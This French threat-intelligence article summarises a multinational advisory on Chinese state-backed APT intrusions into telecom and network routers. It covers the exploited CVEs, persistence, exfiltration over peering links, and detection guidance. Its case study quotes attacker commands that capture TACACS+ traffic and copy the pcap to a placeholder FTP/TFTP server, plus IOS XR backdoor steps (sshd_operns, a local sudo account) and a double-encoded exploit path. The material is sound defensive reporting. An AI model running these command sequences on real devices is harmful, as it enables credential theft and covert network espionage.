CTI & OSINT

Des acteurs APT parrainés par l’État chinois compromettent des réseaux mondiaux pour alimenter un système d’espionnage global

by  • 

Une campagne mondiale de cyberespionnage est actuellement attribuée à des acteurs malveillants soutenus par l’État chinois, ciblant en priorité les infrastructures réseau critiques. Observée depuis au moins 2021, cette activité touche de nombreux secteurs (télécommunications, administrations gouvernementales, transport aérien et ferroviaire, hôtellerie, infrastructures militaires, etc.) sur plusieurs continents. Les attaquants s’intéressent particulièrement aux routeurs de cœur de réseau des grands opérateurs télécoms, ainsi qu’aux routeurs de bordure côté opérateur (PE) et client (CE). En compromettant ces équipements clés, ils peuvent maintenir un accès persistant aux réseaux visés et pivoter vers d’autres réseaux interconnectés afin d’espionner les communications à grande échelle. Selon un rapport technique récent, cette campagne permettrait aux services de renseignement chinois de suivre les communications et déplacements de cibles partout dans le monde en exploitant les données volées (données d’abonnés, enregistrements d’appels téléphoniques, informations de connexion dans le secteur du transport et de l’hébergement, etc.).

Le Contexte et l’attribution

D’après les investigations, les opérations malveillantes en question remontent au moins à 2021. Elles sont liées à plusieurs sociétés chinoises spécialisées en technologies cyber (telles que Sichuan Juxinhe Network Technology, Beijing Huanyu Tianqiong Information Technology ou Sichuan Zhixin Ruijie Network Technology), suspectées de collaborer étroitement avec les services de renseignement chinois – notamment certaines unités de l’Armée Populaire de Libération (APL) et le Ministère de la Sécurité d’État (MSS). Dans la communauté cybersécurité, cette activité a fait l’objet de suivis sous des appellations variées, notamment Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807 ou GhostEmperor. Chaque fournisseur de renseignement ayant ses propres méthodes de classification, ces noms ne recouvrent pas nécessairement exactement le même périmètre d’action, mais ils désignent globalement un ou plusieurs groupes APT chinois aux techniques similaires. Les agences gouvernementales à l’origine du rapport – une coalition d’une vingtaine d’organismes de sécurité numérique occidentaux et alliés (NSA, CISA, FBI, Centre australien de cybersécurité, Centre canadien pour la cybersécurité, NCSC britannique, BSI allemand, etc.) – ont choisi de ne pas retenir un nom commercial spécifique et se réfèrent à ces opérateurs simplement comme « acteurs APT parrainés par l’État chinois » dans leurs analyses.

Les techniques d’accès initial

Les attaquants font preuve d’une efficacité redoutable pour pénétrer les réseaux cibles en exploitant des vulnérabilités connues des équipements exposés. Aucune faille zero-day n’a été documentée dans le cadre de cette campagne à ce jour : les intrusions initiales reposent sur des failles déjà divulguées mais parfois non corrigées dans les infrastructures visées, ainsi que sur des faiblesses évitables (mauvaise configuration, identifiants par défaut, etc.). Les acteurs APT tirent parti en particulier de failles dans les équipements réseau en périphérie (edge) et les appliances de sécurité VPN/SSL couramment déployées par les opérateurs. Le rapport signale notamment les vulnérabilités suivantes, régulièrement exploitées par ces acteurs sur des systèmes non mis à jour :

  • CVE-2024-21887 – Injection de commandes dans l’interface web des produits Ivanti Connect Secure / Policy Secure (souvent exploitée en second temps après CVE-2023-46805 qui permet un contournement d’authentification).
  • CVE-2024-3400 – Failles dans le portail GlobalProtect de Palo Alto Networks PAN-OS (création arbitraire de fichiers menant à une exécution de code à distance non authentifiée sur certains pare-feu lorsque GlobalProtect est activé dans des versions vulnérables).
  • CVE-2023-20273 – Vulnérabilité post-authentification dans l’interface web de Cisco IOS XE (injection de commandes permettant une élévation de privilèges, souvent combinée avec CVE-2023-20198 pour obtenir l’exécution de code en root).
  • CVE-2023-20198 – Failles d’authentification dans l’interface web de Cisco IOS XE (contournement de l’authentification permettant la création de comptes administrateur non autorisés). Les attaquants exploitent cette faille via les endpoints WSMA (/webui_wsma_Http ou /webui_wsma_Https) pour obtenir un accès administrateur. Ils masquent parfois leurs requêtes en appliquant un double encodage des URLs – par exemple / %2577eb%2575i_%2577sma_Http (variante encodée de /webui_wsma_Http). NB : Après correctif de Cisco, toute requête vers ces endpoints WSMA provoque l’ajout d’un en-tête HTTP Proxy-Uri-Source par le système, permettant de distinguer dans les journaux une requête légitime traitée par un équipement patché d’une exploitation malveillante sur un système vulnérable.
  • CVE-2018-0171 – Exécution de code arbitraire via le protocole Cisco Smart Install (faiblesse présente dans IOS et IOS XE, activable à distance sans authentification).

Cette liste n’est pas exhaustive : les agences anticipent que les attaquants élargiront leur arsenal à d’autres équipements au fur et à mesure de la découverte de nouvelles failles ou si les cibles corrigent les vulnérabilités exploitées. Par exemple, il est probable que d’autres dispositifs couramment présents en bordure de réseau (pare-feux Fortinet ou Juniper, serveurs Microsoft Exchange exposés, routeurs et commutateurs Nokia, appliances Sierra Wireless ou SonicWall, etc.) puissent également être visés.

En termes d’infrastructure d’attaque, ces acteurs APT privilégient des moyens discrets. Ils s’appuient sur des serveurs privés (VPS) et des routeurs compromis faisant office de pivots, sans recourir à des botnets publics ou à des services d’anonymisation connus. En compromettant des routeurs appartenant à des organisations parfois en dehors de leurs cibles finales, ils utilisent ceux-ci comme tremplins pour pénétrer les réseaux d’intérêt. Ils profitent des relations de confiance inter-réseaux : par exemple, un routeur d’un petit FAI compromis peut donner accès à un partenaire ou client plus intéressant, via les interconnexions opérateur-opérateur ou opérateur-client.

De même, une fois un routeur cœur de réseau compromis, les attaquants peuvent utiliser ses connexions de peering pour atteindre d’autres infrastructures. Ils n’hésitent pas à exploiter les liens privés entre fournisseurs (par exemple des liaisons directes entre deux opérateurs, ou entre un opérateur et un client important) pour contourner les frontières de sécurité traditionnelles.

Enfin, certaines techniques réseau avancées sont mises en œuvre dès l’étape initiale afin de intercepter le trafic d’intérêt. Dans certains cas, les assaillants modifient la configuration du routeur compromis pour activer le miroir de trafic (SPAN/RSPAN/ERSPAN) sur certaines interfaces, ou mettre en place des tunnels GRE/IPsec et des routes statiques redirigeant le trafic vers leur propre infrastructure. Cela leur permet de siphonner des flux de données spécifiques (par exemple les paquets d’authentification) tout en restant furtifs au milieu de volumes légitimes importants.

À noter que ces attaques sont souvent massives : les attaquants exploitent simultanément un grand nombre d’équipements vulnérables sur Internet (adresse IP par adresse IP), et reviennent périodiquement sur des systèmes déjà compromis pour poursuivre leurs opérations.

Techniques de persistance

Pour maintenir un accès durable aux réseaux compromis, les opérateurs chinois adaptent la configuration des appareils réseau de façon à disposer de multiples portes dérobées. Bon nombre de ces modifications ont également pour effet de masquer l’origine de leur activité dans les journaux en la faisant apparaître comme locale. Parmi les techniques de persistance observées figurent :

  • Modification des listes de contrôle d’accès (ACL) : les attaquants ajoutent des règles ACL personnalisées (souvent nommées “access-list 20” – voire 50 ou 10 si le numéro 20 est déjà pris) qui autorisent explicitement l’accès depuis leurs adresses IP. En inscrivant ainsi leurs adresses de commande et contrôle dans la configuration, ils contournent les politiques de filtrage existantes et s’assurent un accès continu au dispositif malgré les mesures de sécurité en place.

  • Ouverture de ports standards et non standards : dès qu’ils obtiennent un accès administrateur, les intrus activent divers services réseau sur des ports normalement fermés, y compris sur des ports peu communs. Par exemple, ils ont été observés en train d’activer des serveurs SSH sur le routeur et de les lier à des ports TCP élevés non par défaut (en suivant souvent une numérotation de type 22x22 ou se terminant par 22), afin de disposer d’un accès chiffré distant. De même, ils peuvent ouvrir des ports pour FTP, SFTP, RDP ou encore HTTP/HTTPS. L’usage de ports non conventionnels leur fournit plusieurs canaux de rebond et d’exfiltration, et complique la détection car les sondes de sécurité focalisées sur les ports standards risquent d’ignorer ces communications sortant de l’ordinaire. Dans certains cas, les acteurs ajoutent aussi leurs propres clés publiques SSH dans la configuration pour pouvoir se reconnecter aisément sur les équipements compromis (même si les mots de passe sont changés).

  • Activation détournée des services web intégrés : sur les routeurs concernés, les assaillants activent ou détournent le serveur HTTP/HTTPS d’administration intégré, parfois en le déplaçant vers un port élevé inhabituel. Par exemple, sur du matériel Cisco IOS XE vulnérable à CVE-2023-20198, les acteurs ont pu activer l’interface web et s’en servir pour créer des comptes à privilège 15. Des ports dans la plage 18000 ont été observés pour ces serveurs HTTP(S) malveillants. Cette technique fournit un vecteur de plus pour l’accès distant (notamment via des API HTTP), tout en restant discrète si l’interface web est rarement utilisée par les administrateurs légitimes.

  • Commandes malveillantes sur le routeur compromis : juste après l’intrusion, divers patterns d’activité sur l’équipement ont été relevés, reflétant les actions des attaquants pour s’établir et s’étendre :
    • Exécution de commandes via SNMP (en abusant des fonctions SNMP-SET pour pousser des changements de configuration).
    • Sessions SSH initiées depuis le routeur (vers des cibles locales ou distantes) ou vers le routeur depuis d’autres machines compromises.
    • Requêtes HTTP POST vers le panneau d’administration web du routeur (signe de l’exploitation de l’interface web pour exécuter des commandes ou ajouter des utilisateurs).
    • Usage de comptes de service ou d’automatisation présents sur le routeur (ex. identifiants utilisés par des outils de sauvegarde de config type RANCID) pour parcourir la configuration et se connecter à d’autres équipements du réseau.
    • Exécution de scripts Tcl sur les routeurs Cisco IOS lorsque l’interpréteur tclsh y est disponible (deux scripts malveillants nommés TCLproxy.tcl et map.tcl ont notamment été identifiés).
  • Abus du protocole SNMP pour la propagation : quand un routeur est compromis, si le protocole SNMP y est activé (en particulier SNMPv2 avec communauté en lecture/écriture), les assaillants l’exploitent pour énumérer et modifier la configuration d’autres équipements appartenant au même domaine SNMP. En lançant depuis leur serveur des requêtes SNMPWALK ou GET, ils récupèrent des informations sur l’ensemble des routeurs/switches de la communauté, puis envoient des SNMP SET pour y appliquer à distance des modifications malveillantes. Cela leur permet potentiellement de compromettre rapidement plusieurs nœuds en chaîne. À noter : l’utilisation de SNMPv3 avec authentification et chiffrement (mode authPriv) neutralise en grande partie cette technique, tandis que les versions 1 et 2c, non chiffrées, sont trivialement exploitées si les chaînes de communauté ne sont pas robustes.

  • Établissement de tunnels cachés : les acteurs APT créent des tunnels réseau au sein même des routeurs compromis, utilisant des protocoles tels que GRE (Generic Routing Encapsulation), mGRE ou IPsec. Ces tunnels encapsulent divers flux réseau couche 3 dans un canal point-à-point chiffré ou non, ce qui offre aux attaquants une voie de communication persistante et discrète, se confondant avec du trafic légitime. Les tunnels sont configurés de manière à sortir du réseau compromis en suivant le trafic habituel (souvent via l’interface de gestion ou une interface de peering), et ainsi leur activité de commande/exfiltration devient difficile à distinguer du flux normal.

  • Utilisation d’un conteneur Linux embarqué : sur les plateformes Cisco récentes, les intrus profitent de la fonctionnalité Guest Shell (une machine Linux contenue dans l’équipement réseau). Ils déploient ou activent ce conteneur embarqué afin d’y stocker des outils, d’y traiter localement des données volées, voire de s’en servir comme base pour rebondir plus loin dans le réseau interne. Les actions menées à l’intérieur du conteneur ne sont généralement pas visibles dans les logs du routeur, ce qui offre un espace discret pour opérer. Dans le Guest Shell, les attaquants peuvent installer des paquets Python ou autres (via pip, yum…), exécuter des scripts (par exemple siet.py pour exploiter la fonction Smart Install de Cisco), sauvegarder en local des configurations ou captures de trafic avant exfiltration, etc. Sur les commutateurs Nexus (NX-OS), ils utilisent la commande spécifique dohost depuis le conteneur pour exécuter des commandes sur le système hôte NX-OS, et chvrf pour changer de VRF réseau à l’intérieur du conteneur si besoin. Cette utilisation du Guest Shell témoigne d’une maturité technique élevée et complique grandement la détection. Les assaillants peuvent même ultérieurement détruire le conteneur (guestshell disable suivi de guestshell destroy), ce qui efface toute trace de son utilisation et retire leurs outils de l’équipement, les aidant à masquer leur persistance.

  • Chaînage de proxys multi-sauts : afin de gérer leurs accès distants et leurs flux de commande & contrôle (C2) tout en évitant une exposition directe, les opérateurs chinois recourent à des outils de pivot open-source tels que Stowaway. Ce type d’outil leur permet de mettre en place des relais chiffrés en cascade entre plusieurs machines compromises, offrant des fonctionnalités comme un shell distant interactif, le transfert de fichiers, le proxying SOCKS/HTTP, ou le port forwarding local/distant. Grâce à ces pivots multiples, le trafic C2 est acheminé par une série de nœuds difficiles à retracer, chaque lien étant chiffré et authentifié, ce qui rend l’infrastructure de commande à la fois résiliente et furtive.

Mouvement latéral et collecte de données

Une fois un premier point d’appui établi, les attaquants cherchent à étendre leur présence latéralement et à collecter un maximum de données sensibles utiles à l’espionnage. Étant donné la nature des cibles (fournisseurs d’accès, opérateurs télécoms), une priorité pour eux est de compromettre les mécanismes d’authentification et d’administration du réseau afin d’obtenir des identifiants qui leur ouvriront encore plus de portes. Ils s’attachent notamment aux éléments suivants :

  • Infrastructures d’authentification administrateur : les systèmes d’authentification centralisée des équipements, tels que TACACS+ et RADIUS, sont explicitement visés. Les attaquants cherchent à intercepter les échanges d’authentification entre les routeurs et ces serveurs. Pour cela, comme évoqué, ils peuvent capturer le trafic TACACS+ (TCP/49) ou RADIUS transitant par un routeur compromis (en activant une fonction de PCAP embarqué ou de monitor session sur l’équipement). Ils ont même été vus modifiant la configuration TACACS+ d’un routeur pour y définir un serveur TACACS alternatif pointant vers une adresse IP sous leur contrôle. Ainsi, lorsque des administrateurs légitimes tentent de se connecter, leurs identifiants sont directement envoyés aux attaquants. De plus, les intrus peuvent altérer la configuration AAA (Authentification, Autorisation, Accounting) pour forcer l’utilisation de méthodes d’authentification moins sécurisées (par exemple sans chiffrement) ou pour envoyer les logs d’accounting vers leur propre infrastructure. L’objectif est clair : dérober des identifiants d’administration du réseau, qui permettront un mouvement latéral aisé et une persistance accrue.

  • Informations de configuration et topologie : les acteurs APT aspirent tous les fichiers de configuration qu’ils peuvent obtenir, car ceux-ci contiennent souvent des informations cruciales (comptes locaux et leurs mots de passe chiffrés/faibles, adresses IP de serveurs sensibles, architecture du réseau, etc.). Ils s’intéressent aussi aux tables de routage (notamment les routes BGP, les sessions MPLS/RSVP établies), aux listes d’inventaires et diagrammes réseau stockés sur les systèmes des fournisseurs, aux listes de clients et métadonnées associées, ainsi qu’aux bases de données d’abonnés ou autres données clients détenues par l’opérateur. En somme, tout ce qui peut enrichir leur compréhension du réseau et potentiellement révéler d’autres points d’accès fait l’objet de collecte.

  • Interception du trafic in-band : au-delà des flux d’authentification, les attaquants peuvent chercher à espionner d’autres communications en transit sur le réseau de l’opérateur. En compromettant un routeur, ils ont la possibilité de mettre sur écoute certains segments (via SPAN/ERSPAN) pour collecter des paquets en temps réel. Le cas échéant, ils ciblent en priorité les données contenant des credentials ou informations sur leurs cibles d’intérêt (par exemple des flux VoIP, des e-mails, etc., selon l’objectif d’espionnage final). Les captures de paquets observées avaient des noms évocateurs comme mycap.pcap, tac.pcap ou simplement 1.pcap, suggérant des contenus liés à TACACS ou autres.

  • Création de nouveaux comptes : sur les routeurs déjà compromis, les assaillants peuvent ajouter des comptes utilisateur locaux disposant de privilèges administrateur, via la configuration, pour assurer une persistance (technique de backdoor classique)【T1136.001】. Par exemple, un compte caché avec mot de passe connu d’eux leur permettrait de revenir plus tard même si la faille initiale est corrigée. Il a été constaté que, dans certains cas, les mots de passe de ces comptes ajoutés étaient stockés en hash faible (Cisco type 5 basé sur MD5) ou en chiffrement réversible Cisco type 7, ce qui les rend vulnérables au bruteforce ou au renversement【T1110.002】. Les acteurs ont justement pour habitude d’extraire les hash de mot de passe trouvés dans les configurations récupérées, puis de les casser s’ils sont faibles afin d’obtenir l’accès aux comptes associés. Des identifiants par défaut mal changés (comme l’utilisateur “cisco” avec mot de passe “cisco”) sont également exploités dès que possible.
  • Scan interne et écoute multi-interface : munis d’identifiants ou depuis le routeur compromis, les attaquants effectuent des scans de ports pour recenser les services ouverts sur les machines environnantes, et éventuellement configurer des sessions de mirroring (SPAN/RSPAN) sur plusieurs interfaces afin de surveiller le trafic de différentes zones du réseau【T1595】. Ceci leur donne une visibilité accrue sur les communications internes et leur permet de capter des données utiles sur d’autres segments.

  • Exécution de commandes à distance : les opérateurs malveillants continuent à piloter les routeurs compromis à distance via différentes méthodes – SNMP, SSH, API HTTP – pour approfondir leur contrôle. Ils envoient par exemple des requêtes HTTP GET/POST pointant vers les chemins privilegiés du type /level/15/exec/-/ sur les interfaces web Cisco, ce qui leur permet d’exécuter des commandes IOS arbitraires à privilège 15 (comme un administrateur). Par ce biais, ils peuvent, entre autres, afficher la configuration (show run), consulter les routes BGP, gérer les instances de VRF, ou encore effacer les logs du système【T1082】. À noter que de nombreux équipements compromis utilisaient toujours les chaînes SNMP par défaut “public”/“private”, ce qui a grandement facilité ces actions automatisées à grande échelle.

  • Maintien de tunnels et collectes locales : toutes les techniques mentionnées en phase de persistance (configuration de captures de trafic, mise en place de tunnels GRE/IPsec supplémentaires, etc.) sont bien sûr exploitées dans la phase de mouvement latéral pour faciliter l’exfiltration et les allers-retours discrets des attaquants à l’intérieur du réseau. Ils peuvent également tirer parti d’outils de supervision déjà déployés chez la victime (par ex. un logiciel de sauvegarde de config ou de monitoring SNMP) en les détournant à leur profit pour suivre les modifications en temps réel ou propager des changements malveillants.

  • Dissimulation et antiforensique : les acteurs chinois mettent en œuvre plusieurs mesures pour effacer leurs traces et empêcher la détection de leur présence :
    • Suppression des journaux sur les équipements compromis, souvent immédiatement après une action sensible (par ex. juste après avoir créé un nouvel utilisateur ou exfiltré des données)【T1070】.
    • Désactivation temporaire des logs : ils peuvent stopper le service de logging ou la remontée de logs vers les serveurs centralisés avant d’exécuter des commandes, afin que celles-ci ne soient pas enregistrées, puis le réactiver ensuite.
    • Nettoyage des configurations : après avoir fini certaines opérations, ils remettent en place la configuration légitime sur certains points (par ex. restaurer l’ancien serveur TACACS après en avoir détourné la configuration), afin que l’altération passe inaperçue lors d’un audit sommaire.
    • Abus de la Guest Shell : comme indiqué, l’utilisation d’un conteneur embarqué leur permet d’opérer en dehors de la portée des journaux habituels. Ils peuvent ainsi collecter des données (configs, captures) et les traiter dans le conteneur, puis les faire sortir, sans que les processus de sécurité classiques ne les repèrent.

Exfiltration des données

L’objectif final de cette campagne étant l’espionnage à grande échelle, l’exfiltration des données volées est une étape cruciale. Les attaquants démontrent une compréhension fine des réseaux de télécommunications et tirent parti de leur architecture pour dissimuler ces transferts. En particulier, ils exploitent les connexions de peering entre opérateurs – c’est-à-dire les échanges de trafic directs entre réseaux – pour faire sortir les données sans passer par les points de sortie habituels où les contrôles de sécurité sont plus forts. Sur ces liaisons de peering et d’interconnexion, les politiques de filtrage peuvent être moins strictes et il est plus difficile de distinguer un flux malveillant au milieu des énormes volumes légitimes échangés.

Les analyses ont montré que les acteurs configurent plusieurs canaux de commande et exfiltration distincts. Ils peuvent, par exemple, utiliser un canal C2 primaire pour piloter l’opération (envoi de commandes, contrôle des machines), et un ou plusieurs autres canaux dédiés pour extraire les données, ces derniers étant soigneusement choisis pour se fondre dans le trafic normal. Un des stratagèmes est d’acheminer l’exfiltration via des nœuds très fréquentés du réseau (par exemple des serveurs proxy ou des pools NAT à fort trafic), de sorte que les volumes volés passent inaperçus dans le “bruit” ambiant. Par ailleurs, les tunnels chiffrés mis en place (IPsec, GRE encapsulé, etc.) servent aussi bien pour le C2 que pour l’exfiltration, rendant le contenu des communications indétectable par inspection classique. Ainsi, même si un opérateur victime constate une hausse de trafic sur un lien de peering, il lui est difficile de discerner qu’il s’agit de données siphonnées vers l’extérieur, d’autant que celles-ci empruntent des chemins routiers légitimes.

Exemple d’intrusion documentée

Le rapport fournit une étude de cas illustrant concrètement certaines des techniques employées par ces acteurs. Dans un incident observé, les assaillants ont compromis un routeur Cisco IOS XE et s’en sont servis pour intercepter des identifiants administrateur, en procédant comme suit :

1. Capture des identifiants TACACS+ : Les intrus ont configuré sur le routeur une capture de paquets native ciblant le trafic TACACS+ (port TCP 49). Concrètement, ils ont utilisé la fonction Cisco Embedded Packet Capture via des commandes telles que :

  • monitor capture mycap interface <interface> both (création d’une capture nommée mycap sur l’interface spécifiée)
  • monitor capture mycap match ipv4 protocol tcp any any eq 49 (filtrage du trafic TCP port 49 – TACACS+)
  • monitor capture mycap start (démarrage de la capture)

Après avoir collecté suffisamment de paquets d’authentification, ils ont exporté le fichier de capture généré (tac.pcap) vers l’extérieur en utilisant successivement :

  • monitor capture mycap export bootflash:tac.pcap (sauvegarde du fichier .pcap sur la flash du routeur)
  • copy bootflash:tac.pcap ftp://<user>:<pass>@<serveur_FTP>/ (exfiltration du fichier via FTP vers leur serveur)
  • en variante, la commande de copie TFTP vers leur IP (copy bootflash:tac.pcap tftp://<IP>/tac.pcap) a également été observée.

Cette séquence a permis aux attaquants d’obtenir un fichier pcap contenant des échanges TACACS+. Or, les paquets TACACS+ chiffrés peuvent être déchiffrés si l’on connaît la clé de chiffrement partagée (secret TACACS) utilisée par le serveur. Les assaillants ont justement pu la retrouver : la configuration du routeur stockait le secret TACACS+ en format Cisco Type 7 (chiffrement réversible). En récupérant ce secret (via un show running-config) et en le décodant, ils ont pu déchiffrer hors-ligne les paquets TACACS+ capturés. Les identifiants administrateur des ingénieurs réseau se connectant sur les équipements étant transmis dans ces échanges, les opérateurs malveillants ont ainsi compromis des comptes à haut privilège, qu’ils ont ensuite pu réutiliser pour rebondir sur d’autres systèmes et étendre leur contrôle (mouvement latéral). Ce cas met en évidence la criticité des données qui transitent en clair ou via des protocoles chiffrés faiblement sur le réseau interne : les attaquants y voient une opportunité pour collecter des mots de passe et autres secrets sans avoir à installer de malware sur un poste.

2. Activation d’un accès “backdoor” sur IOS XR : Dans le même incident, les acteurs disposaient d’un accès à un routeur Cisco fonctionnant sous IOS XR (système d’exploitation 64 bits à base Linux pour routeurs de classe opérateur). Plutôt que de se contenter de l’interface CLI standard (accessible sur le port 22 via SSH), ils ont activé un service SSH caché offrant un accès direct au système Linux hôte du routeur. IOS XR intègre en effet un service nommé sshd_operns (inactif par défaut) qui, si démarré, écoute sur le port TCP 57722 et fournit un shell Linux. Par design, ce service n’autorise pas l’authentification directe de l’utilisateur root, mais permet à des comptes non-root de se connecter.

Les assaillants ont exécuté les commandes suivantes sur le routeur XR compromis :

  • service sshd_operns start – Démarrage du service SSH caché sur le port 57722.
  • Création d’un compte local : par exemple useradd cisco suivi d’une commande pour définir son mot de passe.
  • Élévation des privilèges de ce compte : modification du fichier /etc/sudoers (via visudo) pour ajouter l’utilisateur cisco aux sudoers, lui conférant ainsi le droit d’exécuter des commandes avec privilèges root sur le système.
  • (Optionnellement, une commande chmod 4755 /usr/bin/sudo a été constatée, bien qu’elle corresponde aux permissions par défaut de sudo – son utilité reste incertaine).

Grâce à ces manipulations, les intrus se sont octroyé un accès persistant de niveau root au système d’exploitation du routeur. En se connectant via SSH sur le port 57722 avec le compte cisco ainsi créé, ils obtenaient un shell Linux sur l’appliance, à partir duquel ils pouvaient tout faire (lire/écrire des fichiers système, installer des outils, etc.), indépendamment des restrictions de la CLI IOS XR. Cette porte dérobée à très bas niveau est particulièrement insidieuse : elle subsiste même après un redémarrage (si le service est activé au démarrage) et peut passer inaperçue par les outils de monitoring réseau classiques qui n’inspectent pas l’écoute du port 57722. L’activation de sshd_operns sur un routeur IOS XR est donc un signe clair de compromission à surveiller.

Pistes de détection et de réponse

Les autorités à l’origine de ce rapport encouragent fortement les organisations – en particulier dans le secteur des télécommunications et opérateurs d’importance vitale – à procéder à des chasses proactives dans leurs réseaux pour détecter toute activité associée à ces attaques. Cette démarche de threat hunting, idéalement couplée à une vérification approfondie de l’intégrité des équipements, vise à identifier tout signe de compromission avant que les conséquences ne deviennent trop graves. Étant donné la persistance longue durée de ces acteurs, il est recommandé de préparer soigneusement toute action d’éradication afin de ne pas les alerter prématurément.

Si l’on ne supprime qu’une partie de leurs accès sans les déloger entièrement, ils pourraient réagir en se cachant plus profondément ou en accélérant le vol de données. Une coordination est donc essentielle pour, idéalement, éradiquer toutes leurs implantations en une opération simultanée, tout en respectant les obligations réglementaires (notification, conservation de preuves, etc.).

Voici les principales pistes de détection et axes de surveillance suggérés par le rapport pour repérer ce type d’intrusion :

  • Surveillance des configurations des équipements réseau : Extraire la configuration en cours de tous les routeurs, commutateurs, pare-feux, etc., et la comparer aux configurations de référence validées. Toute différence non expliquée (une nouvelle ligne d’ACL, un nouvel utilisateur local, un changement de serveur TACACS/RADIUS, l’activation d’un service HTTP/HTTPS, une route statique inconnue, une session de capture de trafic en cours, etc.) doit alerter. En particulier, vérifier :
    • Les ACL : pas d’adresse étrangère ajoutée indûment.
    • Les paramètres AAA : pas de serveur TACACS/RADIUS inconnu configuré, pas de bascule vers un mode d’authentification moins sécurisé.
    • Les comptes locaux : leur légitimité et leurs droits (pas de compte inattendu avec privilèges 15).
    • Les routes et tunnels : pas de route anormale pointant vers un tunnel ou un peer inattendu.
    • Les éventuelles instructions de capture (monitor capture ...) ou de mirroring (sessions SPAN) actives sur les équipements : sont-elles justifiées par un besoin légitime ?

  • Surveillance des conteneurs virtualisés : Sur les plateformes supportant des conteneurs (ex. Cisco Guest Shell), contrôler que tous les conteneurs actifs sont légitimes. Par exemple, sur IOS XE et NX-OS, si Guest Shell n’est pas utilisé normalement par les admins, sa présence active est un signal suspect. Il est recommandé de recouper plusieurs sources de journaux pour détecter l’usage de cette fonction : les logs systèmes de l’équipement (syslog), les logs propres du conteneur (s’il est accessible), ainsi que les traces d’exécution de commandes (via l’enregistrement des commandes TACACS+ exécutées). Concrètement, rechercher toute occurrence de commandes telles que guestshell enable (activation du conteneur), guestshell run bash (ou run guestshell sous NX-OS, accès au shell), puis guestshell disable ou guestshell destroy (désactivation/suppression). De même, sous NX-OS, surveiller l’utilisation de dohost (qui indique qu’un conteneur exécute des commandes sur l’hôte) et de chvrf (changement de VRF dans le conteneur) par surprise. L’apparition de ces événements, surtout en dehors des heures normales de maintenance, est hautement suspecte. Il est conseillé de mettre en place des alertes en cas d’usage de ces fonctions.

  • Surveillance des services réseau et des ports : Mettre en place des contrôles pour détecter l’écoute de services sur des ports non standard :
    • Scanner périodiquement les équipements à la recherche d’un serveur SSH sur un port inhabituel. Par exemple, un SSH actif sur un port se terminant par “22” (2222, 8222, etc.) ou comportant “22” dans un numéro à 4 chiffres, surtout si ce port est accessible depuis l’extérieur du réseau de management, doit être examiné.
    • De même, repérer toute interface web d’administration (HTTP/HTTPS) ouverte sur un port élevé (ex : 18000+) et accessible hors du réseau de management. Si l’organisation n’héberge pas de pages web sur ses routeurs, toute connexion entrante sur de tels ports peut révéler l’activation d’une interface malveillante.
    • Vérifier si un routeur IOS XR n’aurait pas le port 57722 en écoute. Toute connexion entrante sur TCP/57722 vers un équipement réseau est anormale (sauf si l’on utilise explicitement cette fonctionnalité, ce qui est rare) et doit être traitée comme hautement suspecte.
    • Surveiller le trafic TACACS+ (TCP/49) sortant : il ne devrait aller qu’aux IP approuvées (serveurs d’auth connus). Si l’on voit du TACACS+ à destination d’une IP externe inattendue, cela peut signaler que la config TACACS a été altérée vers un serveur pirate.
    • Surveiller de même les flux RADIUS sortants si applicables, ainsi que tout trafic FTP/TFTP initié par un équipement réseau vers l’extérieur (surtout en corrélation avec une capture de paquets récente). Par exemple, un routeur qui envoie un fichier .pcap vers une IP inconnue via FTP/TFTP est clairement compromis.
    • Auditer les tunnels et connexions inter-AS : pour les opérateurs, examiner régulièrement les tunnels GRE/IPsec/MPLS transitant les frontières du réseau. Chaque tunnel entre deux AS ou entre deux réseaux d’un même opérateur doit être identifié et justifié. Toute terminaison de tunnel sur une IP ou interface non documentée peut être le signe d’un détournement. De même, surveiller si d’un coup un flux inhabituel de transferts de fichiers (par ex., de gros volumes vers un serveur FTP interne) se produit, ce qui pourrait indiquer l’utilisation d’une machine interne comme relais d’exfiltration.

  • Intégrité des firmwares et logiciels : Il est recommandé de vérifier l’intégrité des images système des équipements pour détecter une éventuelle implantation furtive au niveau du firmware (même si rien de tel n’est explicitement mentionné dans ce cas précis, la vigilance s’impose). Pour cela :
    • Comparer le hash cryptographique des images IOS/NX-OS/Firewall en production avec les hash officiels fournis par l’éditeur, afin de s’assurer qu’elles n’ont pas été altérées.
    • Utiliser les outils d’auto-vérification de l’intégrité en mémoire s’ils existent sur la plateforme (par exemple Cisco IOS offre des mécanismes de validation du runtime). Toute anomalie ou échec de vérification doit être pris au sérieux.
    • Activer lorsque c’est possible les fonctionnalités de sécurisation de l’IOS et de la configuration (images signées numériquement, stockage sécurisé des configs, etc.). En cas de compromission, un attaquant cherchant à installer un firmware backdooré pourrait se heurter à ces protections.
    • Examiner le système de fichiers local de chaque équipement (flash, NVRAM…) à la recherche de fichiers inhabituels qui auraient pu être déposés (outils, scripts, fichiers de logs suspects…). Par exemple, sur un routeur, un binaire inconnu ou un fichier .tar inattendu peut révéler un utilitaire de l’attaquant.

  • Surveillance des journaux (logs) : Consolider et analyser les journaux des équipements pour y déceler des signes d’activité malveillante ou de masquage :
    • Rechercher toute perturbation dans les logs : par exemple, une période de temps où plus aucun log n’est émis (ce qui pourrait indiquer que le logging a été désactivé momentanément), ou des messages de redémarrage du logging.
    • Rechercher des indices d’effacement de logs locaux (certains équipements logguent l’exécution de la commande clear logging).
    • Relever l’activation d’une capture de trafic ou d’un SPAN : par exemple dans les syslog Cisco, une entrée indiquant monitor capture ... start ou la création d’une session monitor.
    • Noter toute connexion inhabituelle : un administrateur qui se connecterait depuis un équipement réseau sur un autre (ex. SSH sortant d’un routeur vers un autre routeur) est atypique et potentiellement révélateur d’un mouvement de l’attaquant.
    • Mettre en place des alertes en temps réel si possible sur certains événements clés : création d’un nouveau compte utilisateur sur un routeur, modification d’une ACL, activation du mode configuration sur un routeur en dehors des créneaux prévus, etc.

  • Comptes et accès privilégiés : Auditer l’ensemble des comptes ayant des privilèges élevés (administrateurs réseau, etc.), non seulement sur les équipements mais aussi sur les serveurs d’administration (jump servers, postes d’ingénieurs). Les attaquants ayant montré qu’ils pouvaient compromettre des comptes admin, il convient de vérifier si certains comptes n’ont pas vu leur mot de passe changé de manière suspecte, ou si des connexions inhabituelles ont été effectuées avec ces comptes (heures anormales, adresses IP sources inhabituelles, etc.). Si un doute existe, appliquer un reset d’identifiants global et invalider les sessions actives, en conjonction bien sûr avec le nettoyage des dispositifs compromis.

